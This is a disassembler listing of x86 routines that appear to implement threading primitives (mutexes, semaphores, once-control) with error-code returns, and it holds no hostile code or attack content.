					; ___:00433C48j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433C70	proc near		; CODE XREF: sub_401050j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_433CB5
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jl	short loc_433CB0
		cmp	eax, 2
		jg	short loc_433CB0
		test	eax, eax
		jz	short loc_433C9C
		mov	eax, 30h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433C9C:				; CODE XREF: sub_433C70+23j
		mov	eax, [esp+4+arg_8]
		mov	ecx, [eax]
		push	ecx
		push	0
		push	esi
		call	sub_4020D1
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433CB0:				; CODE XREF: sub_433C70+1Aj
					; sub_433C70+1Fj
		mov	eax, 16h


loc_433CB5:				; CODE XREF: sub_433C70+12j
		pop	esi
		retn
sub_433C70	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433CE0	proc near		; CODE XREF: sub_4020D1j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	[esp+0Ch+arg_8], esi
		call	sub_401555
		add	esp, 4
		cmp	esi, eax
		jl	loc_433D85
		push	edi
		call	sub_401442
		add	esp, 4
		cmp	esi, eax
		jg	short loc_433D85
		cmp	esi, 0FFFFFFF1h
		jle	short loc_433D20
		cmp	esi, 0FFFFFFFEh
		jge	short loc_433D20
		mov	[esp+8+arg_8], 0FFFFFFFEh
		jmp	short loc_433D32
; ---------------------------------------------------------------------------


loc_433D20:				; CODE XREF: sub_433CE0+2Fj
					; sub_433CE0+34j
		cmp	esi, 0Fh
		jge	short loc_433D32
		cmp	esi, 2
		jle	short loc_433D32
		mov	[esp+8+arg_8], 2


loc_433D32:				; CODE XREF: sub_433CE0+3Ej
					; sub_433CE0+43j ...
		mov	edi, [esp+8+arg_0]
		push	ebx
		push	ebp
		lea	ebp, [edi+24h]
		push	ebp
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_433D7E
		mov	eax, [esp+10h+arg_8]
		mov	ecx, [edi+4]
		push	eax
		push	ecx
		nop
		call	near ptr 27609DFh
		test	eax, eax
		jnz	short loc_433D72
		push	ebp
		mov	ebx, 16h
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433D72:				; CODE XREF: sub_433CE0+7Bj
		push	ebp
		mov	[edi+28h], esi
		call	sub_4010C3
		add	esp, 4


loc_433D7E:				; CODE XREF: sub_433CE0+68j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433D85:				; CODE XREF: sub_433CE0+19j
					; sub_433CE0+2Aj
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_433CE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433DC0	proc near		; CODE XREF: sub_4021B2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_433DF9
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, 2
		jbe	short loc_433DF4
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jz	short loc_433DF4
		mov	dword ptr [ecx], 0
		mov	ecx, [esi+28h]
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433DF4:				; CODE XREF: sub_433DC0+1Bj
					; sub_433DC0+23j
		mov	eax, 16h


loc_433DF9:				; CODE XREF: sub_433DC0+12j
		pop	esi
		retn
sub_433DC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433E10	proc near		; CODE XREF: sub_401442j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_433E23
		cmp	eax, 2
		jg	short loc_433E23
		mov	eax, 0Fh
		retn
; ---------------------------------------------------------------------------


loc_433E23:				; CODE XREF: sub_433E10+6j
					; sub_433E10+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_433E10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433E50	proc near		; CODE XREF: sub_401555j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_433E63
		cmp	eax, 2
		jg	short loc_433E63
		mov	eax, 0FFFFFFF1h
		retn
; ---------------------------------------------------------------------------


loc_433E63:				; CODE XREF: sub_433E50+6j
					; sub_433E50+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_433E50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433E90:				; CODE XREF: ___:00401ADCj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433ED5
		nop
		call	near ptr 276098Ch
		cmp	esi, eax
		jz	short loc_433ED5
		push	esi
		push	0
		push	200h
		call	near ptr 2720000h
		nop
		test	eax, eax
		jnz	short loc_433ED5
		nop
		call	near ptr 27E0840h
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433ED5:				; CODE XREF: ___:00433E97j
					; ___:00433EA1j ...
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433EEE
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433EEE:				; CODE XREF: ___:00433EDBj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433F20:				; CODE XREF: ___:00401514j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433F65
		nop
		call	near ptr 276098Ch
		cmp	esi, eax
		jz	short loc_433F65
		push	esi
		push	0
		push	400h
		call	near ptr 2720000h
		nop
		test	eax, eax
		jnz	short loc_433F65
		nop
		call	near ptr 27E0840h
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433F65:				; CODE XREF: ___:00433F27j
					; ___:00433F31j ...
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433F90:				; CODE XREF: ___:00401B5Ej
		push	0
		nop
		call	near ptr 2841E5Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433FB0	proc near		; CODE XREF: sub_401C8Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		test	eax, eax
		jz	short loc_433FCF
		mov	edi, 1
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433FCF:				; CODE XREF: sub_433FB0+Aj
		push	4
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433FE7
		mov	edi, 0Ch


loc_433FE7:				; CODE XREF: sub_433FB0+30j
		mov	eax, [esp+8+arg_8]
		push	0
		push	3FFFFFFFh
		push	eax
		push	0
		nop
		call	near ptr 276029Fh
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_434014
		mov	edi, 1Ch
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434014:				; CODE XREF: sub_433FB0+4Fj
		test	edi, edi
		jz	short loc_434026
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434026:				; CODE XREF: sub_433FB0+66j
		mov	ecx, [esp+8+arg_0]
		pop	edi
		xor	eax, eax
		mov	[ecx], esi
		pop	esi
		retn
sub_433FB0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434070	proc near		; CODE XREF: sub_401690j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_434095
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_434095
		mov	dword ptr [edi], 0
		mov	eax, [esi]
		push	eax
		call	near ptr 28506B2h
		nop
		test	eax, eax
		jnz	short loc_4340A7
		mov	[edi], esi


loc_434095:				; CODE XREF: sub_434070+8j
					; sub_434070+Ej
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4340A7:				; CODE XREF: sub_434070+21j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_434070	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4340E0	proc near		; CODE XREF: sub_4010A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_434113
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_434113
		mov	eax, [eax]
		push	0
		push	eax
		nop
		call	near ptr 27905ECh
		cmp	eax, 102h
		jnz	short loc_434125
		mov	esi, 0Bh
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434113:				; CODE XREF: sub_4340E0+7j
					; sub_4340E0+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434125:				; CODE XREF: sub_4340E0+1Fj
		xor	eax, eax
		pop	esi
		retn
sub_4340E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434150	proc near		; CODE XREF: sub_401041j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_43417D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43417D
		mov	eax, [eax]
		push	eax
		call	sub_40164A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F0h, 1F74F685h,	0B146E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_43417D:				; CODE XREF: sub_434150+7j
					; sub_434150+Dj
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_434150	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4341C0	proc near		; CODE XREF: sub_4018A7j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		test	ebp, ebp
		push	esi
		jnz	short loc_4341E3
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4341E3:				; CODE XREF: sub_4341C0+Bj
		push	ebx
		push	edi
		mov	edi, [esp+1Ch+arg_4]
		test	edi, edi
		jnz	short loc_4341F2
		or	ebx, 0FFFFFFFFh
		jmp	short loc_434251
; ---------------------------------------------------------------------------


loc_4341F2:				; CODE XREF: sub_4341C0+2Bj
		lea	eax, [esp+1Ch+var_C]
		xor	ebx, ebx
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [edi]
		mov	esi, [esp+20h+var_C]
		add	esp, 4
		cmp	ecx, esi
		jl	short loc_434251
		mov	edx, [edi+4]
		mov	eax, 431BDE83h
		add	edx, 7A120h
		mul	edx
		lea	eax, [ecx+ecx*4]
		lea	ecx, [esi+esi*4]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		sub	eax, ecx
		mov	ecx, [esp+1Ch+var_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jbe	short loc_434251
		sub	eax, ecx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_434251
		dec	ebx


loc_434251:				; CODE XREF: sub_4341C0+30j
					; sub_4341C0+4Aj ...
		mov	edx, [ebp+0]
		push	ebx
		mov	eax, [edx]
		push	eax
		call	sub_401D84
sub_4341C0	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 8
		dd 0F685F08Bh, 11745B5Fh, 7EB04FE8h, 30899077h,	0FFC8835Eh
		dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h,	3 dup(90909090h)
		dd 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4342D0	proc near		; CODE XREF: sub_40103Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_4342EF
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4342EF
		mov	eax, [eax]
		push	0
		push	1
		push	eax
		nop
		call	near ptr 2760000h
		test	eax, eax
		jnz	short loc_4342FF


loc_4342EF:				; CODE XREF: sub_4342D0+6j
					; sub_4342D0+Cj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4342FF:				; CODE XREF: sub_4342D0+1Dj
		xor	eax, eax
		retn
sub_4342D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434320	proc near		; CODE XREF: sub_402068j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_434346
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_434346
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jle	short loc_434346
		mov	eax, [eax]
		push	0
		push	ecx
		push	eax
		nop
		call	near ptr 2760000h
		test	eax, eax
		jnz	short loc_434356


loc_434346:				; CODE XREF: sub_434320+6j
					; sub_434320+Cj ...
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_434356:				; CODE XREF: sub_434320+24j
		xor	eax, eax
		retn
sub_434320	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434370:				; CODE XREF: ___:0040143Dj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_4343BD
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4343BD
		mov	edi, [esp+10h]
		test	edi, edi
		jz	short loc_4343BD
		mov	eax, [esi]
		push	0
		push	eax
		nop
		call	near ptr 27905ECh
		cmp	eax, 102h
		jnz	short loc_4343A1
		xor	eax, eax
		mov	[edi], eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4343A1:				; CODE XREF: ___:00434398j
		mov	edx, [esi]
		lea	ecx, [esp+0Ch]
		push	ecx
		push	1
		push	edx
		call	near ptr 2760000h
		nop
		mov	eax, [esp+0Ch]
		inc	eax
		mov	[edi], eax
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4343BD:				; CODE XREF: ___:00434378j
					; ___:0043437Ej ...
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4343F0:				; CODE XREF: ___:0040222Fj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434410:				; CODE XREF: ___:00402031j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434430:				; CODE XREF: ___:00401CC6j
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434450	proc near		; CODE XREF: sub_4019A1j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510940
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434484
		push	esi
		push	ecx
		call	sub_402211
		add	esp, 8
		mov	esi, eax
		push	offset dword_510940
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434484:				; CODE XREF: sub_434450+17j
		test	eax, eax
		jnz	short loc_43448D
		mov	esi, 16h


loc_43448D:				; CODE XREF: sub_434450+36j
		push	offset dword_510940
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_434450	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4344C0	proc near		; CODE XREF: sub_402211j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebp, edi
		mov	[esp+14h+var_4], edi
		jnz	short loc_4344DE
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4344DE:				; CODE XREF: sub_4344C0+11j
		lea	eax, [esp+14h+var_4]
		push	eax
		call	sub_401C3A
		mov	ebx, [esp+18h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_434519
		mov	[esp+14h+var_4], 1


loc_4344FB:				; CODE XREF: sub_4344C0+5Ej
					; sub_4344C0+63j
		push	8
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_434530
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_434519:				; CODE XREF: sub_4344C0+31j
		cmp	[esp+14h+var_4], 1
		jle	short loc_4344FB
		cmp	ebx, 1
		jnz	short loc_4344FB
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 28h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_434530:				; CODE XREF: sub_4344C0+4Cj
		mov	eax, [esp+14h+var_4]
		cmp	eax, 1
		jle	short loc_43454D
		mov	[esi+4], eax
		mov	dword ptr [esi], 1
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43454D:				; CODE XREF: sub_4344C0+77j
		lea	ecx, [esp+14h+arg_0]
		push	ecx
		call	sub_401A1E
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_434583
		mov	edx, [esp+14h+arg_0]
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	[edx], ebx
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_434583
		mov	dword ptr [esi], 3


loc_434583:				; CODE XREF: sub_4344C0+9Ej
					; sub_4344C0+BBj
		lea	edx, [esp+14h+arg_0]
		push	edx
		call	sub_4010AA
		add	esp, 4
		test	edi, edi
		jnz	short loc_43459F
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43459F:				; CODE XREF: sub_4344C0+D2j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, edi
		mov	dword ptr [ebp+0], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4344C0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434600:				; CODE XREF: ___:00401109j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		xor	ebx, ebx
		test	edi, edi
		jz	loc_4346A5
		mov	esi, [edi]
		test	esi, esi
		jz	loc_4346A5
		cmp	esi, 0FFFFFFFFh
		jz	short loc_434668
		cmp	dword ptr [esi], 3
		jnz	short loc_43464D
		lea	eax, [esi+4]
		push	eax
		call	sub_402252
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_43469F


loc_434637:				; CODE XREF: ___:0043465Bj
		push	esi
		mov	dword ptr [edi], 0
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43464D:				; CODE XREF: ___:00434623j
		push	1
		push	0
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 1
		jz	short loc_434637
		mov	ebx, 16h
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_434668:				; CODE XREF: ___:0043461Ej
		push	offset dword_510940
		call	near ptr 7C901005h
		nop
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_43468F
		push	offset dword_510940
		mov	dword ptr [edi], 0
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43468F:				; CODE XREF: ___:00434676j
		push	offset dword_510940
		mov	ebx, 10h
		nop
		call	near ptr 7C9010EDh


loc_43469F:				; CODE XREF: ___:00434635j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4346A5:				; CODE XREF: ___:0043460Bj
					; ___:00434615j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4346E0:				; CODE XREF: ___:004021E4j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_434741
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_434741
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434701
		push	esi
		call	sub_4019A1
		add	esp, 4
		test	eax, eax
		jnz	short loc_434746


loc_434701:				; CODE XREF: ___:004346F2j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 2
		jnz	short loc_434723


loc_434713:				; CODE XREF: ___:00434721j
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 2
		jz	short loc_434713


loc_434723:				; CODE XREF: ___:00434711j
		mov	eax, [esi]
		cmp	eax, 2
		jnz	short loc_43472E
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43472E:				; CODE XREF: ___:00434728j
		cmp	eax, 3
		jnz	short loc_434741
		add	esi, 4
		push	esi
		call	sub_402248
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434741:				; CODE XREF: ___:004346E7j
					; ___:004346EDj ...
		mov	eax, 16h


loc_434746:				; CODE XREF: ___:004346FFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434770:				; CODE XREF: ___:00401AB9j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	short loc_4347B1
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4347B1
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_43478B


loc_434784:				; CODE XREF: ___:00434797j
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43478B:				; CODE XREF: ___:00434782j
		push	2
		push	1
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		dec	eax
		jz	short loc_434784
		dec	eax
		jz	short loc_4347AD
		dec	eax
		jnz	short loc_4347B1
		add	esi, 4
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4347AD:				; CODE XREF: ___:0043479Aj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4347B1:				; CODE XREF: ___:00434777j
					; ___:0043477Dj ...
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4347E0:				; CODE XREF: ___:00401942j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_434830
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_434830
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434801
		push	esi
		call	sub_4019A1
		add	esp, 4
		test	eax, eax
		jnz	short loc_434835


loc_434801:				; CODE XREF: ___:004347F2j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		dec	eax
		jz	short loc_43482C
		dec	eax
		jz	short loc_434825
		dec	eax
		jnz	short loc_434830
		add	esi, 4
		push	esi
		call	sub_401785
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434825:				; CODE XREF: ___:00434812j
		mov	eax, 10h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43482C:				; CODE XREF: ___:0043480Fj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434830:				; CODE XREF: ___:004347E7j
					; ___:004347EDj ...
		mov	eax, 16h


loc_434835:				; CODE XREF: ___:004347FFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434860:				; CODE XREF: ___:00401244j
		push	esi
		mov	esi, [esp+8]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_43488C
		mov	eax, [esi+20h]
		mov	ecx, 1
		cmp	eax, ecx
		jnz	short loc_434887
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434887:				; CODE XREF: ___:0043487Ej
		xor	eax, eax
		mov	[esi+20h], ecx


loc_43488C:				; CODE XREF: ___:00434872j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4348A0	proc near		; CODE XREF: sub_401767j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_43492C
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4348C4
		mov	eax, 2
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348C4:				; CODE XREF: sub_4348A0+1Bj
		push	edi
		push	esi
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jz	short loc_4348DD
		mov	edi, 24h
		mov	eax, edi
